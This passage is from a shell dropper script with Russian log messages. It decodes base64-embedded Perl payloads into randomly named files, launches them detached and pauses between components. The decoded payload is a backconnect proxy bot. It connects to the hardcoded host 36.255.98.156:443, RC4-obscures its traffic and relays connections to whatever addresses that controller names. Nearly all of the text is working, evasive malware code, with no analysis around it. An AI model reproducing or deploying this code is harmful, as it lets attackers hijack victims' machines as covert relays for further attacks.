ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #61 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #61 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 62 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp 